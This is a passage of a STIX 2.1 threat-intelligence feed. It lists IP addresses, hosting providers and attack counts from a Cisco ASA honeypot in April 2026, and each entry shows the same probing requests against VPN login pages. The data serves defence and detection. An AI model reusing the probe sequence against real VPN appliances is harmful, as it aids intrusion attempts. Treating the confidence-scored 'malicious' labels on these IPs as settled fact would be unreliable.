      "pattern": "[ipv4-addr:value = '103.102.246.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T14:20:10.000Z",
      "valid_until": "2026-05-10T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-08T13:40:39.905Z",
          "last_seen": "2026-04-08T13:40:47.319Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--57abdb1c-f8e3-41ac-b736-4d6dad965448",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.107.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T14:20:10.000Z",
      "valid_until": "2026-05-10T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-08T13:49:56.614Z",
          "last_seen": "2026-04-16T06:57:55.222Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--a61bad09-5259-45f1-b1ea-c6ea17f9fc93",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.111.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T14:20:10.000Z",
      "valid_until": "2026-05-10T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-08T14:10:33.129Z",
          "last_seen": "2026-04-28T01:57:40.593Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--bb5aa5e9-cb26-4684-b015-cf900b45c685",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.114.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T14:20:10.000Z",
      "valid_until": "2026-05-10T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-08T13:31:49.107Z",
          "last_seen": "2026-04-27T14:54:20.482Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--509570bd-4981-4885-883b-f03a5b3ae650",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.116.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T14:20:10.000Z",
      "valid_until": "2026-05-10T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-08T13:51:09.739Z",
          "last_seen": "2026-04-24T02:18:29.130Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--19909677-a1c7-4f4c-a4db-4cb6d805dfde",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.73.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T14:20:10.000Z",
      "valid_until": "2026-05-10T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-08T13:24:27.892Z",
          "last_seen": "2026-04-21T06:43:39.207Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--a6efa637-3976-4409-9d16-6df1ebe55ac4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.92.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T14:20:10.000Z",
      "valid_until": "2026-05-10T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-08T14:04:59.598Z",
          "last_seen": "2026-04-30T00:03:21.278Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--c36d8454-6cfd-4157-8de2-20347a5b6e6b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T14:20:10.000Z",
      "valid_until": "2026-05-10T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-08T14:14:04.762Z",
          "last_seen": "2026-04-29T11:06:15.039Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--4b4de9f0-c62f-438a-9ddd-117cb0dafa8b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T14:20:10.000Z",
      "valid_until": "2026-05-10T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 48,
          "first_seen": "2026-04-08T13:39:12.088Z",
          "last_seen": "2026-04-30T03:26:52.854Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--651a45fc-62a7-4228-91c5-ec2741996dfb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T14:20:10.000Z",
      "valid_until": "2026-05-10T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-08T13:21:34.239Z",
          "last_seen": "2026-04-26T01:36:13.740Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--43033e25-45d3-438e-b41c-1018d933575a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.102.246.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T15:20:10.000Z",
      "valid_until": "2026-05-10T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-08T15:07:20.540Z",
          "last_seen": "2026-04-27T19:12:34.819Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--624aedcb-deaa-4603-b148-e7dc8dd54969",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.102.246.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T15:20:10.000Z",
      "valid_until": "2026-05-10T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-08T14:43:39.405Z",
          "last_seen": "2026-04-30T04:24:50.688Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--deeec217-973b-4da8-9419-d432a2290107",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '143.244.47.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T15:20:10.000Z",
      "valid_until": "2026-05-10T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-08T14:32:27.320Z",
          "last_seen": "2026-04-19T04:29:30.902Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--fdc0c8b9-bc72-4749-8e27-38f2dd678dcd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.172.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T15:20:10.000Z",
      "valid_until": "2026-05-10T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-08T14:21:15.706Z",
          "last_seen": "2026-04-28T04:43:48.688Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--42266cb9-004e-4591-abc1-f1e95af7f37c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.187.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T15:20:10.000Z",
      "valid_until": "2026-05-10T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-08T14:47:54.027Z",
          "last_seen": "2026-04-18T17:30:52.233Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 207990 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--36a573a6-15ec-474f-8eb8-891e3a82ab05",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.141.119.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T15:20:10.000Z",
      "valid_until": "2026-05-10T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 24,
          "first_seen": "2026-04-08T14:29:15.301Z",
          "last_seen": "2026-04-30T03:32:49.209Z",
          "country": "United States",
          "country_code": "US",
          "asn": 207990,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--9748a46a-cd2e-4368-bb97-9d7fb5c084b4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.111.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T15:20:10.000Z",
      "valid_until": "2026-05-10T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-08T14:53:28.492Z",
          "last_seen": "2026-04-24T15:36:32.896Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--2825a7f9-002c-4548-a482-fb208a9f0f14",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.111.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T15:20:10.000Z",
      "valid_until": "2026-05-10T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-08T14:59:26.302Z",
          "last_seen": "2026-04-28T00:01:20.408Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--29c4144e-9133-47e9-8fe0-7b0806c3b37e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.114.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T15:20:10.000Z",
      "valid_until": "2026-05-10T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 24,
          "first_seen": "2026-04-08T15:03:44.429Z",
          "last_seen": "2026-04-29T05:49:15.298Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--a3e43619-8cb2-459c-ac42-f0380e012ab6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.72.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T15:20:10.000Z",
      "valid_until": "2026-05-10T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-08T14:27:08.311Z",
          "last_seen": "2026-04-26T08:21:04.735Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--fdd70a21-e0e7-4741-97c5-a2ec776e8b6d",
      "labels": [
